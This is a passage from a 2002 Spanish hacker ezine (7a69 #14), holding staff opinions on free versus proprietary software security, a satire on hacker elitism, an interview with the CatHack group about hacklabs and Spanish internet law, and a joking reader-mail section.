usuario de dicho software tiene permiso rwx (para los que no esten muy metidos
en el mundo UNIX, ello significa leer, escribir y ejecutar) sobre dicho
codigo, pero no nos engañemos, son realmente muy pocos los que revisan el
codigo de programas a instalar, pues se requieren conocimientos, que en la gran
mayoria de ocasiones los usuarios no disponen.

De la obligacion de disposicion de codigo fuente deriva la posiblidad
de que usuarios expertos realicen auditorias de seguridad sobre dicho software
llegando en muchas ocasiones a encontrar fallos de seguridad. ¿Es ello una
ventaja? Pude llegar a serlo si dicho usuario experto da a conocer dicho fallo
al fabricante y este lo soluciona antes de que otros usuarios se percaten del
posible problema, pero tambien puede suceder (y de echo sucede) que un grupito
de expertos en seguridad informatica auditen codio y hagan publicos entre ellos
sus descubrimientos sin darlos a conocer a los que cometieron las erratas, nos
encontramos en este caso en un gran problema, pues podriamos estar usando
software vulnerable sin saberlo, y lo peor es que otros si pueden conocer el
fallo.

Pero no nos engañemos, el software no-libre tambien puede auditarse,
tratando el mismo como una caja negra e ir probando entradas y salidas,
realizando ingenieria inversas. Este metodo de auditoria, por raro que parezca,
se aplica incluso en software libre mas que las auditorias de codigo fuente.
¿Donde esta entonces la ventaja de disponer el codigo fuente si realmente
auditamos con el metodo 'caja negra'? Pues la ventaja esta a la hora de
parchear, si una persona es capaz de entender el fallo publicado, sera, con
casi toda seguridad capaz de parchearse (solo en el caso de que el fabricante
tarde mas de la cuenta) cosa que con el software no-libre es impensable. Pero
ello conlleva a la vez una cosa. La disposicion del codigo hara mucho mas facil
la creacion del exploit que explota dicha vulnerabilidad, por lo que tratandose
del soft libre es MUY peligroso disponer de software vulnerable (mas peligroso
que disponer de software vulnerable no-libre), pero no acaba aqui la cosa. ¿Que
administrador serio usa software libre vulnerable (con vulnerabilidad
conocida)? Ninguno, simplemente por el echo de que en el mundo del software
libre la informacion fluye libremente lo que posibilita la aparicion de parches
y nuevas versiones de forma instantanea, cosa que no sucede, ni mucho menos, en
la mayoria de empresa distrivuidoras de software comercial, que en ocasiones
esperan a que aparezcan varios fallos antes de sacar un parche (y algunas veces
incluso quieren cobrar por ello).

En definitiva, no sabria decir si el software libre es mas seguro o no,
sinembargo, lo que si se es que se actualiza mas amenudo, y que ademas me
permite aprender observando como trabajan los programas. Ademas hay que tener
en cuenta el considerable ahorro de dinero que se puede producir en ocasiones.

-------------------------------------------------------------------------------


------------------------------------------------------------------------------
---/ Trycky /-----------------------------------------------------------------
------------------------------------------------------------------------------

En temas de seguridad sobre el software libre contra el software no
libre , con esto no me refiero a que no se distribuye de forma GPL , aunque
para algunos de los mas puristas sea lo mismo .

Si no al propio codigo no esta disponible en ambitos de seguridad
poser el codigo fuente es un gran ventaja si es cierto que sabiendo el faño
en un programa con el codigo fuente es mucho mas facil de analizar y de crear
el xploit , pero esto no resta importancia a que en el soft no libre no se
encuentren es mas de una forma teniendo el codigo fuente podemos tener
solucionado el problema en cuestion de horas pudiendo aplicar el parche o
haciendo uno y esperar a que la version parcheada que en la mayoria de los
casos suele ser muy rapida la respuesta en cambio en el soft no libre esto se
podria alargar teniendo que adoptar medidas que podrian romper las politicas
del servicio que demos , etc . Si el apache no tuviera una politica de codigo
abierto y un modulo del virtual hosting , tuviera una gran vulnerabilidad
nosotros nos veriamos a desabilitar esa opcion por motivos de seguridad y si
fueramos un servidor de hosting nos veriamos obligados a cesar los servicios
hasta que sacasen una version nueva , imaginando esto podriamos suponer que
tendriamos varias quejas de los usuarios y si un usuario que nos paga por los
servicios no le importa que el servidor web tenga esa vulnerabilidad y no nos
podriamos quejar a la compañia del producto , aunque si es cierto que la
mayoria de ellas ya suelen dar rapida respuesta no todas claro .

Muchas veces la forma de buscar vulnerabilidades a un programa puede
ser mediante fuerza bruta analizandolo a mano o mediante algun programa estilo
fuzz , etc . Y en tales casos no tiene importancia si es codigo libre o no
libre .

Otros de los puntos a favor es el saber que tienes a tu disposicion el
codigo fuente para revisarlo , poder buscar tu mismo bugs o simplemente para
asegurarte de que esta libre de ninguna backdoor o tecnicas por el estilo .

Esta ventaja en el soft privado es una gran desventaja puede que el
software tuviera una vulnerabilidad que ya fue resuelta pero no publicada y en
este caso solo unas pocas personas sabrian esa vulnerabilidad , y ya tendremos
la duda de quien vigila a los vigilantes .

Bien es cierto que tambien habra 100 razones mas por las que usar una
opcion u otra y otras miles de razones mas por las que poder devatir cada una
de mis opiniones a si que cada uno juzgue por si mismo .

-------------------------------------------------------------------------------


-------------------------------------------------------------------------------
---/ tuxisuau /----------------------------------------------------------------
-------------------------------------------------------------------------------

Dificil es la eleccion, pues ambas opciones, software abierto y
software cerrado, tienen grandes ventajas y grandes inconvenientes dificiles de
sospesar.

En el caso del software abierto, tenemos la ventaja de poder revisar el
codigo por nosotros mismos, y en el caso de no ser capaces de ello, al menos
tener la confianza en que habra seguro otras personas mas capacitadas que sí lo
haran. Respeto al codigo cerrado, para que engañarnos, el no ser publico el
codigo dificulta bastante el analisis de este por gente con mala fe, aunque
debemos recordar que no lo imposibilita, pues aun no disponiendo del codigo
fuente existen otros oscuros procedimientos para auditar el binario.

Yo me decanto totalmente por el software libre, y os explicare por que.
Con el software cerrado aparece un problema, un grave problema, el problema de
la fe. Deberemos tener fe en que el codigo este bien escrito, no solo un bonito
disfraz basado en un gui muy bonito y una instalacion muy sencilla. Hay un dicho
que dice algo asi como "en caso de duda desconfia", la experiencia da la razon a
este dicho, y he vivido algunos de los problemas del software cerrado: Spyware,
perdidas de datos por culpa de fallos de software... por no hablar de lo que he
ido viendo en listas de avisos de seguridad. Una vez tras otra, las empresas del
software niegan los fallos de seguridad y termina confirmandose la mentira; una
vez tras otra los parches tardan siglos en llegar, con consecuencias
catastroficas para aquellos que decidieron confiar en el software cerrado; una
vez tras otra se descubren puertas traseras en software cerrado de gran
popularidad que jamas debieron estar ahi. Y los fallos de seguridad aparecen y
aparecen continuamente sin hacer distinción entre soft cerrado o abierto, este
ultimo por cierto parece tender a reconocer el error y sacar parches en lugar de
ocultarlo tratando de mantener la buena imagen comercial.

Vale, quiza algun dia dejen de aparecer fallos en el software cerrado al
ritmo en que aparecen ahora. Aquel dia probablemente sera cuando el soft cerrado
ya estara muerto y enterrado. Y el dia de hoy el soft cerrado, excepto en algunos
campos muy especificos, no esta a la altura de competir con el libre. Ya no le
veo ninguna esperanza.

-------------------------------------------------------------------------------


Ei! Quedamos la semana que viene, el mismo dia a la misma hora para
seguir debatiendo? Se preocupan las empresas en la seguridad de sus redes? Nos
vemos!

*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 16 - Leyes de la fisica hax0r. }{ Anonimo }
|-----------------------------------------------------------------------|



_____ _ _ _ _ _ ___
| ___(_)___(_) ___ __ _ | |__ | || |__ __/ _ \ _ __
| |_ | / __| |/ __/ _` |_____| '_ \| || |\ \/ / | | | '__|
| _| | \__ \ | (_| (_| |_____| | | |__ _> <| |_| | |
|_| |_|___/_|\___\__,_| |_| |_| |_|/_/\_\\___/|_|




Principio fundamental de elitismo:

Sea A una persona, sea s la distancia entre A y K donde K es una
maquina (victima), sea v la velocidad de bajada que tiene K. Teniendo en
cuenta que E es directamente proporcional a s y v, podemos afirmar que
E=s·v.

Por absurdo que parezca, hoy en dia esto se mide asi. Me paso
estando en clase que un compañero me vino con una cara de enorme felicidad
presumiendo de que habia hackeado una maquina. Dicha maquina resulto ser un
WinNT con iis (hack my iis!!!). Esa cara de felicidad, de superioridad
suprema, de magnificencia absoluta, se vio acentuada por sus palabras: 'es
una maquina que esta en Canada'. No conforme con esto, prosiguio diciendome
que, para mayor """""dificultad""""", esa maquina era una T1. 'Que guay que
soy', debio pensar. Yo decidi irme al bar del colegio a comerme un pa amb oli.
No obstante, esa demostracion de estupidez supina habia dejado su oscura
huella en mi. Empece a darle vueltas y mas vueltas hasta llegar a la
conclusion de que E=s·v

Es evidente, al observar que su satisfaccion aumentaba a medida que
comentaba lo lejos que estaba esa maquina y lo rapida que era su conexion
llegue a la conclusion de que el elitismo de un "hacker" depende UNICAMENTE de:
a) lo lejos que esta la maquina y b) su conexion. Poco importa el buen o mal
administrador que tenga la victima, aun menos importa el sistema operativo y,
por lo visto, lo que no importa nada de nada es el metodo que se haya utilizado.
Pongamos por caso que me encuentro una cartera por la calle que pone:
www.queguaysoy.au - root - 45sdfa8DbxA y al llegar a mi casa se me ocurre hacer
un telnet a ese host, login root y pass 45sdfa8DbxA. Bingo! soy root. Analizando
la situacion veremos que esa maquina se encuentra en las antipodas y, tal vez,
su conexion sea una T3. Gran distancia... mucha velocidad... YA SOMOS GRANDES
HACKERS! Si ahora por ejemplo un conocido mio usa un xploit del wu-ftpd codeado
por el contra su vecino del 4º piso que tiene un modem de 56k, gracias al
principio fundamental de elitismo podemos tacharle de lamer.

Como veis esta ley fisico-hax0r es muy util a la hora de clasificar a
las personas. Ya para finalizar tened en cuenta las siempre importantes unidades
de cada magnitud. La distancia s la mediremos en metros(m), la velocidad v en
kb/s y la unidad de elitismo en el sistema internacional se mide en hachas(h).





Segunda ley del principio fundamental de elitismo:

Una vez conocida la formula E=v·s, sabemos que v=s/t, por lo que
E=s^2/t. Si ahora elevamos a -1 la ecuacion, obtenemos 1/E=t/s^2. A 1/E le
llamaremos Ea (lease "e sub a" o elitismo adquirido). De modo que
finalmente obtenemos Ea=t/s^2.

Esta nueva ecuacion puede parecer tanto o mas absurda que la anterior,
pero, no obstante, intentare explicar el significado de ello para acercaros al
mundo elitista actual. Todo empezo porque despues de enunciar la primera ley del
principio fundamental de elitismo, en algun canal de algun IRC lei algo parecido
a lo siguiente:

<alguien> uptime(1w 2d 31m 28s)
<alguien> que hax0r soy

o algo asi...

<alguien2> mi server irc lleva 32 dias up
<alguien2> les voy a hacer la competencia a los de terra jajajaj

Gracias a esto pude deducir que, ademas de depender de distancia y
velocidad, el elitismo tambien podia depender del tiempo. Esto es, cuanto mayor
sea el uptime de una maquina y menor sea la distancia que separa tu persona de
ella, mayor es tu elitismo. No en vano, parece bastante logico. Alguien que deja
su PC de casa encendido todo el dia es mas elite que alguien que administra una
maquina remotamente. Asi mismo, alguien que reinicia continuamente su maquina
por cambios de kernel o por errores cometidos al codear algun programa, jamas
podra llegar a ser nadie en este mundillo donde, aunque parezca mentira, se sigue
midiendo a la gente por estas bobadas.



Espero que hayais disfrutado de estas lecciones de la Fisica modena.



Un saludo:

yo.



*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 17 - Charlando con... CatHack! }{ Staff }
|-----------------------------------------------------------------------|



Una vez nos encontramos aqui, ante una entidad del underground hispano
(o catalan, en este caso) para que nos respondan una serie de preguntas sin
sentido :)
____ _ _ _ _ _
/ ___|__ _| |_| | | | __ _ ___| | _| |
| | / _` | __| |_| |/ _` |/ __| |/ / |
| |__| (_| | |_| _ | (_| | (__| <|_|
\____\__,_|\__|_| |_|\__,_|\___|_|\_(_)

Para los que no conozcan CatHack diremos que se trata de una serie
de individuos de nacionalidad catalana que mantienen un ezine similar al
nuestro en el que, ademas, se pueden encontrar articulos de alto nivel
tecnico. Asi mismo manifiestan en sus publicaciones repulsion al fascismo,
nazismo, la lssi, etc.

Muchos de los colaboradores en el ezine CatHack mantienen una estrecha
relacion en el Hacklab de Barcelona, del que podeis encontrar mas informacion
en http://www.sindominio.com/kernelpanic.

Ahora vayamos al grano, y dejemos que nos cuenten ellos...


------------------------------------------------------------------------------

#> 1) Que es CatHack?

Realmente "CatHack" ha cambiado de definicion desde su origen hasta ahora,
en su origen era un grupo de gente, actualmente el concepto de grupo ha
desaparecido y reside en el de una ezine que da sus frutos cada X tiempo.

Realmente somos un "grupo" dificil de definir, todos estamos en mayor
o menor medida politizados al contrario que muchos otros grupos, quiza
esto nos es un gran punto de critica por mucha gente de la 'scene', que
prefieren no mezclar los conceptos hack + activismo, viendo tal como
evoluciona el mundo, la politica y los gobiernos, el no tomar una posicion
clara ante los problemas del mundo, la represion, la globalizacion, el
capitalismo, la contaminacion, las guerras, los montajes, las farsas,
los negocios, en fin el funcionamiento actual ...es casi como preferir
el suicidio ante la posible solucion.

Mejor crear una alternativa que destruir la actualidad.




#> 2) Como nace CatHack?

CatHack nacio por finales del 98. Pgb y pop(pancake) nos conocimos por
casualidad, luego por contactos se unieron a sef y barner, la idea
era crear una lista de correo y si salia algo mas pues mejor :) y asi
surgio bajo el nombre de "BPAP" (por las siglas de los nicks) La idea
principal era la de poder intercambiar informacion y conocimiento sobre
tematica hpcva (hack/phreak/crack/virii/activism) en la lengua con la
que nos hemos criado y mejor nos sabemos expresar.

Al poco tiempo montamos la primera ezine que aunque el nivel no fuera muy
alto, ya se veian las ganas de tirar adelante el proyecto.




#> 3) Por que publicar en catalan?

Y porque no? Realmente ni se nos paso por la cabeza hacerla en ninguna
otra lengua, ya que es con esta con la que mejor nos expresamos ya que
asi, nos ahorramos la traduccion mental simultanea ;).

Mucha gente nos ha criticado por cerrarnos a nuestra lengua, pero creemos
que realmente cada uno es libre de hacer lo que quiera. si alguien ve
nuestros indices y realmente le interesa mucho un articulo ya hara el
esfuerzo por entenderlo o enviarnos un correo pidiendo que lo traduzcamos.

La verdad es que ya lo han hecho mas de una vez, y la idea de traducir la
ezine a otras lenguas se nos ha pasado por mente mas de una vez, pero
es demasiado trabajo y si ya nos cuesta sacar una ezine, traducirla, seria
mucho mas trabajo.

Si el objetivo de nuestra ezine fuera el llegar al maximo de gente habriamos
elegido el ingles, pero como no es nuestro objetivo, porque usar una lengua
con la que no nos expresamos a gusto? A parte de este punto tambien cabe
decir que hay poca cantidad de informacion sobre seguridad en catalan,
(quands, cat-linux..), y tambien queriamos añadir nuestro granito de arena.




#> 4) Hay un intervalo de tiempo definido entre numero y numero de vuestra
#> ezine?

La verdad es que no, se intenta, pero no se consigue, hubo un tiempo
que nos prupusimos cumplir una periodicidad con las entregas, pero
fue impossible debido a que la gente siempre esta muy liada en muchos
otros temas y no puede dedicar a la revista todo el tiempo del que
le gustaria. Solo hace falta mirar las fechas...de la primera a la
segunda 2 meses de diferencia y entre la 7 y la 8 un año de diferencia.

Actualmente tenemos la 9a ezine a medias y no creemos q tarde mucho
en salir, aunque el principal debate que tenemos en montar las ezines
esta en decidir si sacar muchas ezines cortas cada poco tiempo o
sacar una mas pesada cada mas tiempo...opcion por la que nos hemos
decidido.




#> 5) Que opinais del panorama actual en la scene?

Ciertamente se va bastante flojo, es decir, hace un tiempo hubo el "boom"
por lo de la novedad y el mogollon de script-kiddies que llenaban el irc.
Ahora esta gentuzilla ya han desaparecido en su mayor parte, por otra
parte se sigue manteniendo una scene fija de nivel alto y serio, aunque
esta es se ve en contadas ocasiones y en reducidas porciones, como es
el caso del mundillo VX.

Aunque parece que ahora poco a poco vuelve a crecer esta 'scene' gracias
a la cantidad de hackmeetings y la rapida proliferacion de hacklabs, ya
que de esta manera es mas facil acercar este "mundo" al mundo "real", y
interactuar entre ambos para buscar nuevos caminos de conocimiento.




#> 6) CatHack ha tenido en algun problema ciertos 'roces' con otros grupos de
#> la scene, como Hispahack. Explicad un poco los motivos.

Cuando se organizo el primer hackmeeting de la peninsula (en Barcelona,
en el centro social okupado Les Naus), muchas personas pusimos nuestro
granito de arena para montarlo. Dedicamos tiempo y esfuerzo para que la
gente que asistiera se lo pasara lo mejor posible.

Para organizar el evento, utilizabamos una lista de correo para comunicarnos
y coordinar nuestros esfuerzos. La lista del hackmeeting esta abierta
a todo el mundo.

Primero aparecio un mensaje en la lista de alguien que decia ser de Hispahack,
en la que ofrecia dar una charla sobre como Hispahack habia ganado un
concurso de hacking de una revista "para demostrar quien vale y quien no"
(textualmente). La gente que organizaba el evento les agradecimos su
ofrecimiento, aunque no entendimos a que se referian con esto de "demostrar".
La gente que organizabamos el hackmeeting (todos/as los/as que quisieran
apuntarse) entendiamos el evento como un lugar de encuentro/aprendizaje/
enseñanza/diversion donde no habia lugar para jerarquias ni malos rollos.

Tiempo despues aparecio un segundo mensaje en la lista de alguien que decia
ser de Hispahack, en la que comentaban que ya no vendrian al hackmeeting
porque "no es mas que un encuentro de adolescentes scriptkiddies con
granitos en la cara"
. En el mismo mensaje insultaban a algun miembro de
los que mas intensamente habian colaborado con la organizacion (la periodista
Merce Molist). En ningun momento aportaban argumentos de lo que afirmaban en
su mensaje.

A partir de aqui comenzo en la lista una guerra de respuestas/insultos
entre Hispahack y la gente que organizaba el Hackmeeting de Barcelona.
Hispahack tambien envio mensajes privados insultando. Concretamente,
Cathack recibio un mensaje en que insultaban a Merce Molist a sus espaldas
y afirmaban que "Cathack no eramos mas que un grupo de inutiles que nunca
habiamos hecho nada y que nuestro mayor afan era llegar a ser un dia
como ellos"
. Como su mensaje estaba de nuevo lleno de insultos pero vacio
de razones y contenido, no dio via a dialogo. A un mensaje tan tonto y bajo
decidimos no responder. No creemos que la persona que los escribio tuviera
suficiente inteligencia para entender que tan solo aspiramos a pasarnoslo

  
bien, enseñar, aprender, y que no nos creemos los dioses de la scene ni
lo queremos ser.

En realidad no fuimos los primeros en tener un roce con ellos antes con
RareGaZz tambien tuvieron algun roce...pero preferimos dejar estos temas
atras y seguir adelante cada uno con lo suyo y sin buscar problemas.




#> 7) Estan apareciendo muchos eventos que pretenden reunir gente intresada
#> en la seguiridad informatica; Hackmeeting, NcN... Que opinais al
#> respecto?

Esto es genial, antes un tonto con cuatro conocimientos de
informatica podia entrar en un ordenador y comprometer datos publicos.
Si ahora se generalizan los conocimientos de seguridad, y se ponen en
practica, se complicara enormemente el hecho de entrar en un ordenador.
Digamos el equivalente en robatorios de pisos. Si una empresa fabrica
los pisos con unas puertas muy debiles, que se abren de un patada,
quien es el malo, el que entra en el piso? o el que avisa al dueño de
que esas puertas no valen nada? Hasta hace bien poco si alguien avisaba
de un fallo de seguridad, lo demonizaban!

Claramente se esta demostrando que existe una escena y que cada vez
es mayor y de mas nivel. Como mas seamos mas reiremos ;)




#> 8) Mucha gente esta empezando a abandonar la scene under para pasarse al
#> lado bueno, vinculandose, en muchas ocasiones a empresas que se dedican
#> a explotar a los nuevos talentos. Que pensais hacer vosotros con vuestro
#> futuro?

Mmmh... "lado bueno" ? xD

Cada vez se dan mas casos de gente trajeada paseando por hackmeetings en
busca de gente buena para contratarlos. No creemos que el trabajar equivalga
a salir de la escene, ciertamente trabajar siempre es y sera algo en contra
del individuo, vender tus habilidades a cambio de pan. Aunque es algo
inevitable, no creemos que nadie abandone por trabajar en X empresa...y claro
esta que esa empresa a que todos llaman gobierno por alli no pasaremos ;)
aunque creo que caben mas posibilidades que nos controlen que no que nos
contraten.


#> 9) Siguen todos los miembros de CatHack alguna ideologia politica comun?

Al contrario de lo que mucha gente cree, no seguimos ninguna ideologia
conjunta, pero nos respetamos, quiza si fuera asi seria un proyecto
sin fundamentos ni futuro, ya que de esta manera cada uno dice la suya,
y se reflexiona mejor q si todos pensaramos igual...el pensamiento
unico es odioso, asi q q mejor ejemplo para romperlo y presentar una
buena alternativa?

Lo que si es cierto es que defendemos una idea clara contra los
fascismos, y cualquier otro tipo de represion contra las libertades
tanto individuales como colectivas.




#> 10) Que opinais de la LSSI?

Vivimos en la era de los imperios que todo lo quieren controlar, y
esta ley claro estaba, que tenia que salir.

Es suficientemente general como para que el gobierno pueda
clausurar o multar a practicamente cualquier persona que se conecte a
internet, y esa persona ni siquiera saberlo. Sin contar la inverosimil
limitacion de la libre expresion que hasta ahora era posible en
internet. Es el reflejo del miedo que tiene un gobierno que esta en su
lugar gracias a la manipulacion informativa, cuando ve que hay un medio
de comunicacion que se le escapa de sus garras.

Esta claro que los gobiernos intentan marcar sus fronteras dentro del
mundo digital, eso es claramente imposible, no solo por la idea de su
creacion (mantener los nodos siempre activos, aunque caigan enlaces),
sino porque internet es un reflejo del mundo real, si existen pederastas
en el mundo real, tambien deben existir en el virtual, es pura logica, pero
con la escusa del supuesto monton de pornografia y la cantidad de
terroristas que utilizan internet (es que uno no puede ni conectarse ya xD)
estan consiguiendo que la mayor parte de la poblacion embobada con los
medios les digan: siii!! queremos q nos controles!!. (y luego van y votan
lo q votan).

En España la LSSI es menos restrictiva que en resto de Europa, pero
realmente eso debe reducir nuestra preocupacion? la LSSI solamente aplica
multas y restricciones, el control ya estaba funcionando hace tiempo,
aunque ahora se vera incrementado, y sitios como sindominio, nodo50,
indymedia y porticoluna se veran atacados por falsas acusaciones con
tal de cerrar todas las voces disidentes y acabar de montar la empanadilla
mental a todos los usuarios (usuarios de la realidad) de este mundo.

El tiempo dira. la lucha solucionara.




#> 11) Que nos depara el futuro de CatHack? Algun proyecto en mente?

Mas o menos los proyectos son bastante individuales, y imagino que
todos tenemos en mente unos cuantos.




#> 12) Cathack esta colaborando en el proyecto Hacklab de Bacelona.
#> Que es exactamente un hacklab y como nace la idea de crealo?

El concepto de "hacklab" nace en Italia donde surgieron los primeros, al
igual que con los "hackmeetings" (.it/.de), los hacklabs vienen muy
atados a los movimientos sociales. Es decir un hacklab es un espacio
fisico donde reflejar la "scene". Un sitio donde programar, un sitio
donde aprender, enseñar, y todo por supuesto sin olvidar el activismo,
es por esto que la mayoria de los hacklabs estan montados en casas
okupadas o centros sociales autogestionados.

Algunos miembros de cathack colaboramos con este proyecto, aportando
charlas, hardware y la presencia que es lo que mas importa :).

Han surgido muchos hacklabs en muy poco tiempo, asi como el de barcelona
nacio a partir del hackmeeting de barcelona (el proyecto quedo parado durante
un año devido a agresiones que sufrieron y finalmente el desalojo) luego se
trasladaron los trastos desde la "Academia" hasta "Les Naus" el CSOA donde
esta actualmente el lab. El año siguiente el hackmeeting se traslado a
euskadi, donde dejo la semilla de un nuevo hacklab al mismo tiempo en madrid
tampoco podian esperar mas y montaron otro. Y actualmente hay uno en Zaragoza
y Galicia y se estan preparando algunos mas como en Valencia.

Quiza cada hacklab es independiente de los demas aunque existen uniones
entre ellos (donde se ven claramente en los hackmeetings), y quiza
cada uno se especializa en algun tema. Por ejemplo en madrid el grupo
"MadridWireless" esta muy ligado al hacklab de alli, en el de euskadi
por ejemplo se esta llevando a cabo un proyecto para escribir un juego
en primera persona (motor 3d) totalmente GPL, y en el de barcelona
pues estamos metidos en muchos temas pero quiza es el mas "social".

Del de barcelona surgio el concepto de "hack in the streets" (HITS),
con el cual se pretende acercar este mundillo a la gente de a pie,
okupando una plaza, montando los ordenadores, la red, el wireless,
hacer install-partys (debian r0lz xD), charlas diversas, programar,
etc... en fin pasar un dia divertido :D

Si alguien esta interesado con los hacklabs sus paginas estan
alojadas dentro de sindominio. Buscando por los nombres "KernelPanik"
(bcnhacklab), "MetabolikBioHacklab"(eusko), "CielitoLindo" (mad)
ya los encontrareis ;)

------------------------------------------------------------------------------



Y hasta aqui la entrevista, veremos quien traemos en el proximo
numero...


*EOF*


|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 18 - Correo del lector. }{ Staff }
|-----------------------------------------------------------------------|



Pese al largo paron que ha sufrido externamente 7a69ezine, muchos de
vosotros habeis tenido la amabilidad de mandarnos un correo electronico... ya
sea para mandar animos, pedirnos un hack a domicilio, para que descubramos si
sois o no unos cornudos... peticiones de lo mas variadas, nos agrada, y por
ello tenemos aqui esta GRAN seccion, en la que nostros responderemos TODAS
vuestras dudas. ¿Genial no? Ya sabeis, si teneis algo que decir...


staff@7a69ezine.org


En este numero Tahum (las respuestas que empiezan por T:) y Ripe (las
que lo hacen por R:) han sido seleecionados al azar para encargarse de esta
seccion... wa0... vamos alla.



------------------------------------------------------------------------------
--{ 0x01 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola a todos!!!!!

mira me gustaria ser un hacker como todos vosotros y saber muchas cosas d
internet. Pero lo priemro que quiero saber es aprender a entrar a lso correos
electronicos no es por mirar lo k ponen y cotillear yo lo hago por una razon
que tengo y se lo quiero hacer pagar a un colega mio k me jodio con mi exnovia
bueno k me jodia con ella que por culpa de el yo e cortado con ella bueno no
creo k os importe pero me gustaria aprender a entrar y me gustaria que no
paseis de mi y me eseyeis.

[ T: :-o... Sigue, tienes toda mi atencion. Ripe, podriamos patentar la
historia? ]

Gracias por leer lo k os escrito.

[ T: Oh, veo el desenlace tendra que correr por nuestra parte. ]

Espero vuestra respuesta

[ T: Muy pronto en los mejores cines. ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x02 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola, soy argentino y estoy pasando unos dias en su pais, porque mi padre es
de Barcelona. Tampoco os voy a contar mi vida.

[ T: Oh, rayos. Acaso tengo pinta de hombre ocupado? ]

Lo que yo queria preguntarles es la fecha en la que podremos disponer del
proximo numero. He leido los 12 anteriores y los ultimos son macanudos,
espero que sigan asi.

[ T: No te gusta el numero 13? es por supersticion? cuando leas esto,
lo mas probable es que el #14 haya salido. No preguntes como,
sencillamente lo se. ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x03 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola staff!

Me gustaria felicitaros por lo mucho que os lo currais. Me encanta vuestra
publicacion y creo que es lo mejor que se puede leer en nuestro idioma. Tambien
quisiera deciros lo que opino del ultimo numero. Practicamente todos los textos
me han parecido geniales, ninguno me ha decepcionado (he de decir que aun no
lo he leido todo todo todo) exepto uno, el del arranque del kernel 2.4 no me ha
gustado nada, hay demasiado codigo y poca explicacion, lo que hace que sea
_MUY_ facil perderse, ademas da la sensacion que tuxisuau no sepa ensablador
(ojo! es la sensacion que me da a mi). Otra cosa que queria criticar son los
logos que aparecen ¿para que poneis tantos logos, que para nada pegan con la
web, y que algunos ademas son horribles? Personalmente creo que el que mas
pega con la web es uno que aparece un aro gris, e incluso uno muy currado de
fondo negro.

[ T: Gracias por los elogios. Respecto al documento de tuxisuau, es
arido, de eso que duda cabe, y por motivos de tiempo hay mas codigo
que explicacion, por lo cual restringe mucho el publico al que va
destinado. De cualquier modo, la nocion del autor frente al tema que
abarco, es innegable. Quizas tuxi este preparando una nueva version,
quien sabe.

Respecto a los logos... tienes toda la razon, en nuestro 'ToDo'
tenemos la remodelacion de la web. ]

Dicho todo esto tambien quiero aprovechar para hacer una pregunta. Soy el
administrador de sistemas de un cybercafe que tiene bastantes ordenadores, la
red funciona integramente en windows. Quisiera saber si hay softwaer de
administracion de cybers para linux (no es que tenga intencion de usarlo, porque
aqui en el cyber no mando yo, y por el momento con windows la cosa va muy bien,
pero siento curiosidad por saber si existe).

[ T: No tengo nocion de que exista, pero es muy probable que haya
proyectos sobre ello... lo unico que he encontrado esta en
webmaster.bankhacker.com/ayuda-linux/consulta/Instalar+Cybercafe/
que tiene enlaces utiles al respecto. ]

Gracias por atenderme, seguid asi.

Emilio-

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x04 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Tan solo felicitaros por este maravilloso e-zine.Animo y seguid así que os
leemos muchos !!

[ T: Tan solo agradecer tus elogios. ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x05 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Que tal, mi nombre es [Mau] de Zine-Store, y me gustaria, si por favor me
pueden avisar cada ves que sale un nuevo numero, asi lo voy incluyendo en mi
Web.

[ R: Uff... sacamos un ezine tan amenudo que creo
que nos sera imposible avisarte, suerte que ya
lo hacemos en la web para toda la comunidad...
¿No es asi? Fuera bromas; tenemos la intencion
de crear una lista de correo para distribuidores
de 7a69. ]

Por si no la conocen, o no saben de que se trata, me encargo de guntar todas
las e-zines, y textos under, o de seguridad informatica, que esten solo en
castellano, y que la gente interesada, las pueda encontrar mas facilmente a
todas en un mismo lugar.

[ R: Claro que conocemos Zine-Store, es la mayor
recopilacion de ezines hispanos del mundo. Un
gran trabajo de recopilacion. ]

El URL es http://zine-store.com.ar

Muchas Gracias.


[Mau]
http://zine-store.com.ar

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x06 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola, he estado viendo vuestros ezines y me gustaría colaborar con vosotros.

[ R: Cuando tengas algo realmente intresante, avisanos :) ]

Gracias

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x07 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Holas,

[ R: Caracolasssss.....]
[ T: :-?! ]

La salida del e-zine ha sido publicado en la taberna de van hackez
(vanhackez.com), en infohackers.org y en elhacker.net en la sección de
noticias.

[ R: Vaya... pues si que salimos en sitios :-?
Sera que gusta nuestro trabajo. Pues intentaremos
seguir en nuestra linea]

Por problemas con el correo, básicamente con el puto virus sircam, no he
recibido todo el correo. Agradeceria me avisaseis, sino lo hicisteis, por
e-mail al sacar un nuevo e-zine para poderlo publicar con tiempo y no tan
tarde :P

[ T: Lo dicho... lista de correo, aunque intentaremos intentar
avisar. ]

Saludos,

_______________________
Alex
webmaster de elhacker.net

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x08 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola,

Queria felicitarlos por la e-zine y valorar el esfuerzo y las horas de
trabajo. Mi peticion es la siguiente: quiero dedicar una seccion de mi
sitio a downloads de e-zines y quiero saber si puedo incluir la de Uds.

[ R: Se esta poniendo muy de moda esto de
distribuir e-zines.... mas canales de
difusion para los mismos, no esta mal.
Seguro que mas de uno estara contento. ]

Desde ya muchas gracias y en caso de ser posible haganmelo saber.

[ R: Haz lo que quieras con tu cuerpo en plena
libertad, masturbacion, penetracion practica
sexo anal... Ska-p. ]

[ T: Amen. ]

KeRuBiN

info@70semanas.com

http://www.70semanas.com <http://www.70semanas.com/>

------------------------------------------------------------------------------


